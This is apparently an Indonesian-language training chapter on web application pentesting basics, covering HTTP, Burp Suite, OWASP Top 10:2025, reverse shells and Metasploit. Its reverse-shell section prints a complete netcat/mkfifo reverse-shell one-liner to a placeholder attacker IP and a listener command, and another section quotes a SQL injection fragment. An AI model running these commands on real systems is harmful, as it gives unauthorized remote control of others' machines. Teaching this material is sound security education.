Chapter 6: Web Application Pentesting Basics
Pendahuluan
Pada materi sebelumnya, kita sudah membahas Vulnerability Assessment (VA), yaitu proses untuk mengidentifikasi, mengklasifikasikan, dan memprioritaskan kelemahan pada sistem, aplikasi, jaringan, atau infrastruktur.
VA membantu kita menjawab pertanyaan:
- Kelemahan apa saja yang terdeteksi?
- Seberapa parah dampaknya?
- Aset mana yang terdampak?
- Mana yang harus diperbaiki lebih dulu?
Namun VA umumnya belum berhenti pada pembuktian dampak secara mendalam. Di sinilah penetration testing masuk. Pentest tidak hanya mencari kelemahan, tetapi juga memvalidasi apakah kelemahan tersebut benar-benar dapat dimanfaatkan dan apa dampak nyatanya terhadap sistem.
Fokus utama dari web application pentesting adalah untuk memahami bagaimana aplikasi web menerima input, mengelola sesi, memproses autentikasi, mengatur otorisasi, menyimpan data, dan berinteraksi dengan komponen lain seperti database, API, file system, atau service internal.
HTTP
HTTP (Hyper Text Transfer Protocol) adalah dasar dari komunikasi data di web antara klien dengan server. Memahami struktur dan isi dari HTTP membantu tester melihat bagian mana yang bisa diuji, misalnya parameter URL, cookie, header autentikasi, body JSON, atau field form.
Anatomi HTTP

Pesan HTTP adalah mekanisme yang digunakan untuk bertukar data antara server dan klien dalam protokol HTTP. Terdapat dua jenis pesan:
- Request - dikirim oleh klien untuk memicu tindakan pada server
- Respons - jawaban yang dikirim server sebagai tanggapan terhadap request.
Secara umum, HTTP request terdiri dari tiga bagian utama:
1) Request Line
Request line adalah baris pertama pada HTTP request. Isinya terdiri dari:
| Bagian | Contoh | Fungsi |
|---|---|---|
| Method | GET, POST, PUT, DELETE | Menentukan aksi yang diminta client |
| Path | /api/products | Menentukan endpoint atau resource tujuan |
| Query parameters | ?category=book&page=1 | Mengirim data tambahan melalui URL |
| HTTP version | HTTP/1.1 | Menentukan versi protokol HTTP |
Contoh:
GET /api/users?id=12&role=member HTTP/1.1Pada contoh di atas:
GETadalah method./api/usersadalah path.id=12danrole=memberadalah query parameters.HTTP/1.1adalah versi HTTP.
Dalam pentesting, query parameters sering diuji karena dapat memengaruhi data yang diambil, filter pencarian, ID resource, role, pagination, atau logika aplikasi lainnya.
2) Headers
Headers adalah pasangan key: value yang membawa metadata tambahan tentang request. Header dapat memberi tahu server tentang format data, identitas client, token autentikasi, preferensi bahasa, dan cara koneksi diproses.
Berikut adalah request headers yang seling muncul:
| Header | Contoh | Fungsi |
|---|---|---|
Host | Host: example.com | Menentukan domain atau virtual host tujuan. |
Content-Type | Content-Type: application/json | Menjelaskan format body yang dikirim, misalnya JSON atau form data. |
Authorization | Authorization: Bearer <token> | Mengirim credential atau token autentikasi ke server. |
User-Agent | User-Agent: Mozilla/5.0 | Mengidentifikasi client, browser, library, atau tool yang mengirim request. |
Accept | Accept: application/json | Memberi tahu server format response yang diharapkan client. |
Connection | Connection: keep-alive | Mengatur apakah koneksi tetap dibuka atau ditutup setelah request selesai. |
Accept-Language | Accept-Language: id-ID,id;q=0.9,en;q=0.8 | Menentukan preferensi bahasa response. |
Catatan
Nama header tidak sensitif terhadap huruf besar/kecil, tetapi penulisan umum seperti Content-Type dan Authorization lebih mudah dibaca saat analisis manual.
3) Body
Body adalah bagian request yang berisi data utama yang dikirim ke server. Body biasanya muncul pada method seperti POST, PUT, dan PATCH, misalnya saat login, registrasi, upload file, checkout, atau update profil.
Contoh body JSON (application/json):
POST /api/profile HTTP/1.1
Host: example.com
Content-Type: application/json
{
"name": "Budi",
"email": "budi@example.com",
"role": "user"
}Contoh body application/x-www-form-urlencoded:
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=budi%40example.com&password=secret123Dalam pentesting, body sering menjadi area penting untuk menguji validasi input, otorisasi field, manipulasi harga/role/status, upload file, dan format data yang tidak sesuai.
Intercept Request

HTTP intercept adalah teknik menangkap request dari klien sebelum diteruskan ke server. Dengan menggunakan tool Burp Suite yang telah kita install sebelumnya, kita dapat melihat, menahan, mengubah/memanipulasi, meneruskan, atau mengulang request untuk memahami perilaku aplikasi.
Alur dasarnya:
- Buka Burp Suite dan gunakan browser bawaan Burp atau konfigurasi proxy browser ke
127.0.0.1:8080menggunakan ekstensi browser Proxy Foxy. - Pastikan Proxy > Intercept aktif.
- Akses aplikasi target melalui browser.
- Submit dan request akan tertahan di Burp sebelum dikirim ke server.
- Analisis method, path, query parameter, headers, cookies, dan body.
- Klik Forward untuk meneruskan request, atau Drop untuk membatalkannya.
HTTP intercept berguna untuk:
- Melihat request asli yang dikirim browser.
- Memahami parameter tersembunyi, cookie, token, dan header.
- Menguji perubahan kecil pada input sebelum request sampai ke server.
- Mengirim request menarik ke tool lain seperti Repeater atau Intruder.
Repeater

Repeater digunakan untuk mengirim ulang satu request secara manual berkali-kali dengan perubahan terkontrol. Tool ini cocok untuk analisis mendalam karena tester bisa mengubah parameter, header, cookie, atau body lalu langsung melihat perbedaan response.
Cara menggunakan Repeater:
- Tangkap request melalui Proxy > HTTP history atau Intercept.
- Klik kanan request, lalu pilih Send to Repeater.
- Buka tab Repeater.
- Ubah bagian request yang ingin diuji, misalnya
id,role, token, atau body JSON. - Klik Send.
- Bandingkan status code, ukuran response, pesan error, redirect, dan isi response.
Repeater biasanya digunakan untuk menguji:
- Test Payload Exploit.
- Perubahan parameter sederhana.
- Melihat behavior endpoint ketika header atau body diubah.
Intruder

Intruder digunakan untuk mengotomatisasi pengiriman banyak variasi request. Tool ini cocok untuk fuzzing ringan, enumerasi parameter, pengujian daftar nilai, atau validasi pola response dalam scope yang diizinkan.
Cara menggunakan Intruder:
- Tangkap request yang ingin diuji.
- Klik kanan request, lalu pilih Send to Intruder.
- Buka tab Intruder > Positions.
- Tandai bagian request yang akan diganti sebagai payload position, misalnya nilai
id=§12§. - Buka tab Payloads dan isi daftar nilai yang akan dicoba.
- Jalankan attack.
- Analisis hasil berdasarkan status code, panjang response, waktu response, redirect, atau pesan error.
Contoh posisi payload:
GET /api/users?id=§12§ HTTP/1.1
Host: example.com
Cookie: session=<token>Intruder biasanya digunakan untuk:
- Mencoba variasi ID pada endpoint lab.
- Mengecek pola response code dari daftar input.
- Fuzzing parameter untuk melihat error handling.
- Menguji rate limit pada environment yang memang disiapkan untuk latihan.
Tahap Eksploitasi
Eksploitasi adalah tahap inti dari penetration testing, yaitu ketika tester mencoba memanfaatkan vulnerability yang sudah ditemukan untuk membuktikan dampak teknisnya.
Jika VA menghasilkan daftar potensi kelemahan, maka eksploitasi bertujuan untuk menjawab:
- Apakah vulnerability tersebut benar-benar bisa dieksekusi dan dimanfaatkan?
- Sejauh mana akses atau kontrol yang bisa didapat?
- Data atau fungsi apa yang bisa terdampak?
- Apakah vulnerability tersebut bisa menjadi bagian dari attack path yang lebih besar?
Eksploitasi harus dilakukan secara terkontrol, sesuai scope, dan dengan izin eksplisit. Tujuannya bukan merusak sistem, melainkan membuktikan risiko secara realistis agar organisasi memahami dampak dan prioritas remediasi.
Tujuan Eksploitasi
Tujuan utama dari tahap eksploitasi adalah mendapatkan initial access, yaitu akses awal ke sistem target.
Initial access dapat berupa:
- Akses ke akun pengguna
- Akses ke panel admin
- Akses ke endpoint API internal
- Kemampuan membaca file sensitif
- Kemampuan menjalankan perintah pada server
- Sesi shell terbatas pada host target
Initial access bukan akhir dari pentest. Biasanya ini menjadi titik awal untuk fase berikutnya (post-exploitation), seperti privilege escalation, lateral movement, atau impact analysis yang akan dibahas secara detail di chapter selanjutnya. Namun dalam chapter ini, fokus kita hanya pada pemahaman konsep eksploitasi untuk mendapatkan initial access.
OWASP Top 10 (2025)

OWASP Top 10 adalah dokumen awareness dari OWASP yang merangkum risiko keamanan paling kritis pada aplikasi web. Daftar ini bukan checklist lengkap, tetapi baseline yang sangat umum digunakan untuk pembelajaran, secure coding, vulnerability assessment, dan penetration testing.
Versi OWASP Top 10:2025 berisi kategori berikut:
| Kode | Kategori | Ringkasan |
|---|---|---|
| A01:2025 | Broken Access Control | Pengguna dapat mengakses data atau fungsi yang seharusnya tidak boleh. |
| A02:2025 | Security Misconfiguration | Konfigurasi aplikasi, server, cloud, header, atau permission tidak aman. |
| A03:2025 | Software Supply Chain Failures | Risiko dari dependency, library, package, build pipeline, atau artefak. |
| A04:2025 | Cryptographic Failures | Kesalahan penggunaan kriptografi yang dapat mengekspos data sensitif. |
| A05:2025 | Injection | Input tidak terpercaya diproses sebagai perintah atau query. |
| A06:2025 | Insecure Design | Kelemahan berasal dari desain sistem, bukan hanya bug implementasi. |
| A07:2025 | Authentication Failures | Autentikasi lemah, mudah ditebak, mudah dilewati, atau salah diterapkan. |
| A08:2025 | Software or Data Integrity Failures | Sistem gagal menjaga integritas kode, update, data, atau trust boundary. |
| A09:2025 | Security Logging and Alerting Failures | Aktivitas penting tidak tercatat atau tidak memicu alert yang memadai. |
| A10:2025 | Mishandling of Exceptional Conditions | Error handling buruk, gagal aman, atau kondisi abnormal ditangani keliru. |
Sumber resmi: OWASP Top 10:2025
1) Broken Access Control
Terjadi ketika aplikasi gagal membatasi akses berdasarkan hak pengguna. Contohnya, user biasa dapat membuka halaman admin, mengakses data milik user lain, atau memanggil API yang seharusnya hanya tersedia untuk role tertentu.
Contoh pola umum:
- IDOR (Insecure Direct Object Reference)
- Privilege escalation antar role
- Endpoint admin tidak terlindungi
- Bypass kontrol akses melalui manipulasi parameter
Fun Fact
Broken Access Control sering menjadi "langganan pentester" dan selalu menempati TOP 1 OWASP dalam 6 tahun terakhir. Karena kerentanan ini berkaitan langsung dengan logika aplikasi dan hak istimewa pengguna yang sering kali sulit dideteksi oleh alat pemindai otomatis.
Berikut adalah alasan utama mengapa celah ini sangat kritikal dan selalu muncul dalam daftar:
Luasnya Permukaan Serangan (Attack Surface)
Setiap kali ada penambahan fitur baru, pengembang harus menentukan siapa yang boleh melihat, mengedit, atau menghapus data tersebut. Karena banyaknya titik pemeriksaan ini, peluang terjadinya kelalaian sangat besar.
Sulit Dideteksi Secara Otomatis
Berbeda dengan SQL Injection atau XSS yang memiliki pola karakter tertentu di payloadnya (seperti
' OR 1=1 -- -), Broken Access Control sering kali tampak seperti request yang valid.Dampak yang Sangat Fatal
Broken Access Control memberikan jalan pintas bagi penyerang untuk:
- Exfiltration Data: Mengambil data sensitif seluruh pengguna.
- Privilege Escalation: Mengubah akun biasa menjadi akun admin.
- Manipulasi Data: Menghapus atau mengubah informasi yang bukan haknya.
2) Security Misconfiguration
Terjadi ketika aplikasi atau infrastrukturnya dikonfigurasi secara tidak aman. Masalah ini sering muncul karena default configuration, debug mode aktif, permission terlalu longgar, service tidak perlu tetap terbuka, atau error message terlalu detail.
Contoh pola umum:
- Directory listing aktif
- Debug page terbuka di production
- Cloud storage public tanpa sengaja
- Security header tidak dikonfigurasi
- Service admin terekspos ke internet
3) Software Supply Chain Failures
Risiko ini berasal dari komponen pihak ketiga atau proses distribusi software. Aplikasi modern sangat bergantung pada package, library, container image, CI/CD pipeline, dan repository eksternal. Jika salah satu komponen tersebut bermasalah, aplikasi ikut terdampak.
Contoh pola umum:
- Dependency rentan atau usang
- Package berbahaya dari registry publik
- Build pipeline tidak memverifikasi artefak
- Secrets bocor di repository
- Update otomatis tanpa validasi integritas
Fun Fact
Baru saja pada 31 Maret 2026, akun pengelola (maintainer) dari library axios, berhasil dikompromi oleh penyerang. Penyerang kemudian merilis versi berbahaya ke repositori resmi npm. Insiden ini
Insiden ini mengakibatkan pengguna yang menginstal/mengupdate ke versi tersebut menggunakan npm install akan secara otomatis mengunduh dan menjalankan Remote Access Trojan (RAT) lintas platform yang dinamakan WAVESHAPER.V2 di latar belakang. Malware tersebut bisa mencuri informasi sensitif dan memberikan kendali jarak jauh kepada penyerang pada sistem Windows, macOS, maupun Linux.
4) Cryptographic Failures
Terjadi ketika aplikasi gagal melindungi data sensitif dengan kriptografi yang tepat. Dampaknya bisa berupa kebocoran password, token, data pribadi, informasi transaksi, atau rahasia sistem.
Contoh pola umum:
- Password disimpan dalam plaintext
- Algoritma hash lemah
- TLS salah konfigurasi
- Kunci enkripsi disimpan di source code
- Data sensitif dikirim tanpa proteksi yang memadai
5) Injection
Injection terjadi ketika input dari pengguna diproses sebagai bagian dari perintah, query, atau ekspresi oleh sistem. Kategori ini mencakup SQL Injection, Command Injection, LDAP Injection, NoSQL Injection, dan bentuk injection lainnya.
Contoh pola umum:
- Query database dibangun dari string input pengguna
- Input digunakan langsung pada command OS
- Template engine menerima ekspresi tidak terpercaya
- Filter input hanya berbasis blacklist sederhana
6) Insecure Design
Insecure Design adalah kelemahan yang berasal dari keputusan desain, bukan sekadar bug coding. Masalah ini sering tidak bisa diperbaiki hanya dengan patch kecil karena akar masalahnya ada pada alur bisnis, trust boundary, atau asumsi keamanan.
Contoh pola umum:
- Tidak ada rate limit untuk fitur sensitif
- Reset password hanya bergantung pada data mudah ditebak
- Workflow transaksi tidak memiliki validasi ulang
- Threat modeling tidak dilakukan sejak awal
7) Authentication Failures
Terjadi ketika mekanisme login, session, recovery, atau validasi identitas tidak diterapkan dengan benar. Dampaknya dapat berupa account takeover atau akses tidak sah.
Contoh pola umum:
- Password policy terlalu lemah
- Tidak ada proteksi brute force
- Token reset password mudah ditebak atau tidak kedaluwarsa
- Session tidak invalid setelah logout
- MFA tidak diterapkan pada fungsi kritis
8) Software or Data Integrity Failures
Risiko ini muncul ketika aplikasi gagal memastikan bahwa software, data, konfigurasi, atau update yang diproses benar-benar dapat dipercaya dan belum dimodifikasi.
Contoh pola umum:
- Update tidak diverifikasi tanda tangannya
- Deserialization data tidak terpercaya
- Konfigurasi penting dapat dimodifikasi tanpa kontrol
- Pipeline deployment menerima artefak tanpa validasi
9) Security Logging and Alerting Failures
Logging dan alerting dibutuhkan untuk mendeteksi serangan, investigasi insiden, dan audit. Jika aktivitas penting tidak tercatat, organisasi bisa terlambat mengetahui kompromi.
Contoh pola umum:
- Login gagal berulang tidak dicatat
- Akses admin tidak diaudit
- Perubahan role tidak menghasilkan alert
- Log tidak memiliki timestamp dan identitas yang jelas
- Log mudah dihapus oleh user yang sama
10) Mishandling of Exceptional Conditions
Kategori ini menyoroti kegagalan aplikasi dalam menangani kondisi abnormal seperti error, timeout, input ekstrem, race condition, atau kegagalan dependency. Sistem yang gagal dengan cara tidak aman dapat membuka celah baru.
Contoh pola umum:
- Aplikasi menampilkan stack trace ke pengguna
- Error membuat validasi dilewati
- Timeout menyebabkan transaksi berada pada status tidak konsisten
- Sistem gagal terbuka (fail open), bukan gagal tertutup (fail closed)
Pro Tip
Ingin belajar semua metode web exploitation dengan lebih dalam,
seperti IDOR, SQL Injection, XSS, SSTI, SSRF, Path Traversal, dkk?
Portswigger menyediakan source belajar lengkap dan ter-arah. Mulai dari server-side, client-side, sampai modul advance yang tentunya telah disesuaikan dengan studi kasus terkini. Setiap modulnya sudah dilengkapi dengan labs gratis yang dapat kamu coba;)
Available labs: https://portswigger.net/web-security/all-labs
Reverse Shell
Shell adalah antarmuka untuk menjalankan perintah pada sistem operasi. Ia bertindak sebagai jembatan antara pengguna dan kernel, menerjemahkan masukan pengguna menjadi tindakan yang dilakukan oleh sistem.
Untuk memahami posisi shell dalam sistem operasi, perhatikan diagram struktur lapisan Sistem Operasi Linux/Unix berikut:

Dalam konteks pentesting, apabila tester/penyerang berhasil "mendapatkan" shell host, maka penyerang dapat mengontrol mesin host tersebut secara remote, walaupun tak selalu mendapatkan akses kontrol penuh (*kecuali user yang didapatkan langsung root).
Reverse shell adalah koneksi shell ketika mesin target melakukan koneksi keluar menuju mesin penyerang. Setelah koneksi terbentuk, tester dapat berinteraksi dengan shell tersebut dari sisi listener. Reverse shell biasanya muncul sebagai dampak dari vulnerability yang memungkinkan command execution, file upload berbahaya, misconfiguration, atau eksploitasi service tertentu.
Konsep Dasar

Pada reverse shell, alurnya secara konseptual seperti berikut:
- Tester/penyerang menyiapkan listener pada mesinnya menggunakan
Netcat.
nc -lvnp <PORT_PENYERANG>- Sementara itu, target menjalankan payload/perintah untuk membuka koneksi keluar dan mengarahkan input/output-nya ke shell interaktif (
/bin/bash) melalui named pipe (fifo).
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <IP_PENYERANG> <PORT_PENYERANG> > /tmp/f- Koneksi dari target masuk ke listener tester.
- Tester mendapatkan sesi shell sesuai privilege proses yang berhasil dieksploitasi.
Bind Shell vs Reverse Shell

Berbeda dengan reverse shell, pada skenario bind shell target membuka sebuah port tertentu dan mendengarkan (listen) koneksi yang masuk. Penyerang kemudian menghubungkan diri ke IP target pada port tersebut untuk mendapatkan akses kontrol.
| Aspek | Bind Shell | Reverse Shell |
|---|---|---|
| Arah koneksi | Tester terhubung ke port yang dibuka pada target. | Target terhubung keluar ke listener tester. |
| Listener berada di | Mesin target. | Mesin tester. |
| Tantangan utama | Port target harus bisa diakses dari mesin tester. | Target harus bisa melakukan koneksi keluar. |
| Cocok ketika | Target dapat menerima koneksi masuk. | Target berada di balik NAT/firewall tetapi outbound terbuka. |
| Risiko deteksi | Port baru pada target dapat terlihat saat network scanning. | Koneksi keluar mencurigakan dapat terlihat pada monitoring. |
Kenapa penyerang prefer reverse shell bukan bind shell?
- Operating system firewalls umumnya memblokir koneksi masuk ke server, tetapi mengizinkan koneksi keluar server.
- Target sering berada di belakang NAT atau firewall.
- Tester tidak perlu langsung membuka port pada target.
- Cocok untuk membuktikan command execution secara interaktif.
Namun, reverse shell juga memiliki keterbatasan:
- Bergantung pada outbound network access.
- Dapat diblokir oleh firewall, EDR, proxy, atau egress filtering.
- Sesi biasanya tidak stabil.
- Privilege shell mengikuti proses yang dieksploitasi, sering kali terbatas.
Metasploit Framework

Metasploit Framework adalah framework open-source untuk pengujian keamanan yang menyediakan kumpulan module untuk eksploitasi, validasi vulnerability, payload, post-exploitation, auxiliary scanning, dan pengembangan exploit.
Metasploit membantu tester menyusun proses eksploitasi secara lebih terstruktur:
- Memilih module sesuai vulnerability.
- Mengatur target dan parameter.
- Memilih payload.
- Menjalankan exploit pada environment yang diizinkan.
- mMencatat hasil validasi teknis.
Komponen Utama Metasploit
| Komponen | Fungsi |
|---|---|
| Payload | Kode yang dijalankan setelah exploit berhasil, misalnya shell/session. |
| Exploit | Module untuk memanfaatkan vulnerability tertentu. |
| Auxiliary | Module pendukung seperti scanner, enumerator, atau checker. |
| Post | Module untuk aktivitas setelah akses diperoleh. |
| Encoder | Mekanisme transformasi payload untuk kebutuhan kompatibilitas tertentu. |
| NOP | Instruksi padding yang umum dipakai dalam exploit development. |
Basic Commands
Berikut adalah perintah yang sering digunakan untuk mengoperasikan framework ini:
| Perintah | Deskripsi |
|---|---|
help / ? | Menampilkan semua perintah yang tersedia beserta deskripsinya |
show all | Menampilkan daftar semua modul (exploit, payload, encoder, dll.) |
show exploits | Menampilkan daftar semua modul exploit |
show payloads | Menampilkan daftar semua modul payload |
show encoders | Menampilkan daftar semua modul encoder |
show options | Menampilkan opsi konfigurasi untuk modul yang sedang dimuat |
search <keyword> | Mencari modul berdasarkan nama, CVE, atau kata kunci |
use <module> | Memuat modul spesifik ke dalam konsol |
set <option> <value> | Mengatur nilai untuk opsi pada modul saat ini |
setg <option> <value> | Mengatur variabel global (tetap tersimpan meskipun berganti modul) |
unset <option> | Menghapus pengaturan opsi yang telah diatur sebelumnya |
run / execute | Menjalankan modul yang sedang aktif |
sessions | Menampilkan daftar sesi yang sedang aktif |
route | Mengarahkan lalu lintas melalui sebuah sesi (untuk teknik pivoting) |
history | Menampilkan riwayat perintah yang pernah diketik |
version | Menampilkan nomor versi framework dan pustaka (library) |
exit / quit | Menampilkan nomor versi framework dan pustaka (library) |
Setiap modul Metasploit memiliki opsi/atribute yang dapat dikonfigurasi menggunakan perintah set <option> <value>. Opsi ini wajib diatur dengan benar sebelum menjalankan modul apa pun, karena pengaturan inilah yang akan menentukan parameter serangan.
| Atribut | Deskripsi | Contoh |
|---|---|---|
| LHOST | Alamat IP mesin penyerang (listening host) | 192.168.1.10 |
| LPORT | Port pada mesin penyerang untuk menerima koneksi balik (reverse connection) | 4444 |
| RHOST / RHOSTS | Alamat IP sistem target (tunggal atau banyak) | 10.0.2.15 |
| RHOSTS | Rentang IP atau banyak target untuk pemindaian massal | 10.0.2.0/24 |
| RPORT | Nomor port yang menjadi target pada sistem jarak jauh (remote system) | 445 |
Fun Fact
Buat bedain LHOST sama RHOSTS, kamu bisa tandain prefix huruf pertama.
Jika L ⟶ Left (Kiri)
Jika R ⟶ Right (Kanan)
Maksudnya: sisi kiri adalah penyerang, sisi kanan adalah target.
penyerang ⟶ target
Payload dan Session
Dalam Metasploit, payload adalah aksi yang dijalankan ketika exploit berhasil. Payload bisa sederhana, seperti membuka command shell, atau lebih kompleks, seperti membuat session interaktif yang mendukung upload file, route jaringan, dan pengumpulan informasi. Untuk melihat list payload yang tersedia, gunakan show payloads. Sedangkan untuk menggunakannya, gunakan set payload windows/example/payload.
Session adalah koneksi aktif antara mesin tester dan target setelah payload berhasil berjalan. Session inilah yang menjadi bukti teknis bahwa eksploitasi berhasil menghasilkan akses.
Fun Fact
Metasploit memiliki payload shell lanjutan bernama Meterpreter. Ini adalah payload unggulan Metasploit yang menyediakan shell interaktif untuk pasca-eksploitasi, memungkinkan penyerang menjelajahi mesin target, mencuri data, dan mengeksekusi kode tanpa meninggalkan jejak di disk.. Session atau shell yang dihasilkan dari payload ini ditandai dengan tampilan meterpreter >.
Kelebihannya sangat fleksibel, mendukung pemuatan modul tambahan (ekstensi), serta tidak meninggalkan jejak di hard drive target karena berjalan di dalam memori (in-memory). Selain itu, shell ini memiliki ratusan perintah khusus seperti: webcam_snap, edit, shell, download, upload, hashdump, clearev, dll.
Kapan Metasploit Digunakan?
Metasploit berguna ketika:
- Tester perlu memvalidasi vulnerability yang sudah diketahui.
- Exploit publik tersedia dan sesuai dengan versi target (CVE).
- Lab membutuhkan demonstrasi attack path.
- Tester ingin membandingkan hasil scanner dengan pembuktian eksploitasi.
- Proses pembelajaran membutuhkan framework yang konsisten.
Meskipun Metasploit seperti menyediakan "semuanya", tetap harus dibarengi dengan pemahaman konsep eksploitasi. Tester tetap harus memahami vulnerability, prasyarat eksploitasi, potensi dampak, batasan modul, dan risiko terhadap target.
Hands-on
- Tryhackme: Kenobi
- Tryhackme: Simple CTF
- Tryhackme: Ice
